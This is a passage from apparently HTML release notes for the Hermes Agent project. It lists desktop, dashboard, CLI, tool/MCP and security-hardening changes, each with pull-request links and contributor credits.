<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
